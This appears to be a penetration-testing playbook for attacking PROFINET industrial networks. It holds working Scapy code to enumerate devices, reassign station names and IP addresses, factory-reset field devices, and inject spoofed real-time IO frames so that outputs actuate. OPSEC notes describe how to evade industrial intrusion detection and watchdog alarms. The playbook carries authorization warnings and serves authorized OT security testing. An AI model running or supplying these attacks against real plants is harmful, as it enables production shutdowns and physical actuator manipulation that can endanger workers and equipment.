PROFINET Attack Playbook (EtherType 0x8892 / DCP)
PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it). DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.
SAFETY FIRST
DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to BF (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection. DCP Identify (read) is safe.
Prerequisites
- Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN).
- Wireshark with
pn_dcpdissector (ships by default — filter:pn_dcp). - Python with
scapyfor DCP crafting (orpython-profinetlibrary).
# Verify interface sees PROFINET frames
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
# If frames appear: you are on the OT segment
# Install scapy (already on Kali)
pip install scapy
# python-profinet (alternative higher-level library)
pip install profinet
Phase 1 — Discover: DCP Identify-All broadcast
DCP Identify-All is a Layer-2 broadcast to 01:0E:CF:00:00:00 (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.
Wireshark passive discovery
# Capture DCP traffic — Identify requests and responses
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)
# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1
Active DCP Identify-All broadcast (Scapy)
from scapy.all import Ether, sendp, sniff
import struct, socket, time
PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0" # replace with your OT interface
def build_dcp_identify_all(xid=1):
"""Build a PROFINET DCP Identify-All request frame."""
# PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)
frame_id = struct.pack(">H", 0xFEFE)
# DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength
dcp_header = struct.pack(">BBHHHH",
0x05, # ServiceID: Identify
0x00, # ServiceType: Request
xid, # XID
0x0000, # Reserved
0x0000, # ResponseDelay (0=immediate broadcast)
0x0004, # DCPDataLength (4 bytes for the suboption block)
)
# DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0
dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)
payload = frame_id + dcp_header + dcp_block
frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
return frame
def dcp_identify_all(iface=IFACE, timeout=3):
frame = build_dcp_identify_all()
sendp(frame, iface=iface, verbose=False)
print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...")
responses = sniff(
iface=iface,
filter=f"ether proto {hex(PROFINET_ETHERTYPE)}",
timeout=timeout,
count=200,
)
devices = []
for pkt in responses:
raw = bytes(pkt.payload)
frame_id = struct.unpack(">H", raw[:2])[0]
if frame_id == 0xFEFE and len(raw) > 10:
# This is a DCP response — parse it
src_mac = pkt.src
# Extract NameOfStation from block (simple heuristic parse)
# Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable
devices.append({"mac": src_mac, "raw_len": len(raw)})
print(f" Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details")
return devices
dcp_identify_all()
Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation)
TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.
Phase 2 — Device fingerprinting: DCP Get
DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).
from scapy.all import Ether, sendp, sniff
import struct
PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"
def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
"""
DCP Get Request for a specific block.
option 0x01 suboption 0x01 = NameOfStation
option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
option 0x02 suboption 0x05 = DeviceOptions
"""
frame_id = struct.pack(">H", 0xFEFD) # 0xFEFD = DCP Get/Set
dcp_header = struct.pack(">BBHHHH",
0x03, # ServiceID: Get
0x00, # ServiceType: Request
xid,
0x0000,
0x0000,
0x0004, # DCPDataLength
)
dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# Get station name from device with known MAC
# frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01)
# sendp(frame, iface=IFACE, verbose=False)
# capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2)
Phase 3 — Flash-LED (physical device location)
DCP Set with Suboption=Signal causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.
def build_dcp_flash_led(dst_mac, xid=10):
"""DCP Set Signal — blink device LED (physical locate)."""
frame_id = struct.pack(">H", 0xFEFD)
# Block: Option=0x05 (Control), Suboption=0x03 (Signal)
# BlockQualifier=0x0000, SignalValue=0x0100 (blink)
dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
dcp_data_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH",
0x04, # ServiceID: Set
0x00, # ServiceType: Request
xid,
0x0000,
0x0000,
dcp_data_len,
)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE)
Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)
STOP. All DCP Set operations below are write-class and require explicit scope authorization. Station-name change and IP change immediately disrupt process communication.
Station-name reassignment (process disruption)
When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to BF (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.
def build_dcp_set_station_name(dst_mac, new_name, xid=20):
"""
DCP Set NameOfStation.
Option=0x01, Suboption=0x01 (NameOfStation).
new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
"""
name_bytes = new_name.encode("ascii").lower()
# Pad to even length
if len(name_bytes) % 2:
name_bytes += b"\x00"
block_len = len(name_bytes)
# Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name
dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
total_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
frame_id = struct.pack(">H", 0xFEFD)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE)
# After this, the original controller can no longer find "original-station-name"
# The device enters BF state and may stop responding to IO controller.
IP address reassignment
import ipaddress
def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
"""
DCP Set IPSuite.
Option=0x01, Suboption=0x02.
"""
ip_int = int(ipaddress.IPv4Address(new_ip))
sub_int = int(ipaddress.IPv4Address(new_subnet))
gw_int = int(ipaddress.IPv4Address(new_gateway))
dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
struct.pack(">H", 0x0001) + \
struct.pack(">III", ip_int, sub_int, gw_int)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE)
Factory reset
Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.
def build_dcp_factory_reset(dst_mac, xid=30):
"""
DCP Set Control/FactoryReset.
Option=0x05, Suboption=0x04.
"""
dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY — extremely disruptive:
# sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE)
Phase 5 — PROFINET RT frame injection / cyclic IO spoofing
PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.
# Capture baseline cyclic IO traffic for a device pair
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF
# Identify FrameID, CycleCounter pattern, DataLen for the target device
from scapy.all import Ether, sendp
import struct, time
def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
"""
Inject a PROFINET RT cyclic data frame.
frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
cycle_counter: Increment to match expected sequence (replay detection hint)
io_data: bytes — the cyclic process data payload (output values for the IO-device)
"""
# PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)
rt_header = struct.pack(">H", frame_id)
rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
# DataStatus 0x35 = valid + running + no problem
payload = rt_header + io_data + rt_footer
frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
sendp(frame, iface=iface, verbose=False)
# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY
# io_data = b"\x00" * 4 # size must match actual IO module output size
# inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data)
Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.
Common findings
| Finding | MITRE | Impact |
|---|---|---|
| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names |
| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |
| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |
| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |
| Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |
| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |
Evidence
kg_add_node(
kind="finding",
label="PROFINET DCP unauthenticated device enumeration",
props={
"key": f"profinet-dcp::{iface}",
"protocol": "profinet-dcp",
"ethertype": "0x8892",
"devices_found": device_count,
"station_names": station_names_list, # list of discovered names
"dcp_set_accepted": False, # set True only after confirmed write-scope test
"source": "scapy-dcp-identify-all",
"l2_segment": iface,
},
)
ZFP (two-method evidence)
- Wireshark capture (
.pcap) containing DCP Identify responses, showing at least one device with decodedNameOfStation,IPSuite, andVendorIDblocks. - Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.
If write testing was authorized: include DCP Set response frame showing BlockError=0x00 (Set accepted) and a follow-up DCP Get confirming the new station name or IP.
OPSEC notes
- DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.
- DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.
- Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.
- Name/IP reassignment takes effect immediately. There is no "preview" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.
- PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering
DataStatuswatchdog alarms on the IO-device. - Always record original station names and IPs before any DCP Set — document them in evidence for restoration.
- Cross-reference
s7commskill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.
References
- PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com/technology/profinet/
- Wireshark
pn_dcpandpn_rtdissectors — Wireshark PROFINET protocol documentation - Siemens Security Bulletins (SSA-*) — cert.siemens.com
- ICS-CERT PROFINET advisories — cisa.gov/uscert/ics/advisories
- "Hacking PROFINET" — Alexander Bolshev, Black Hat 2013
- Scapy Layer 2 documentation — scapy.readthedocs.io
- python-profinet library — github.com/wandel/python-profinet
- Claroty PROFINET research briefs — claroty.com/research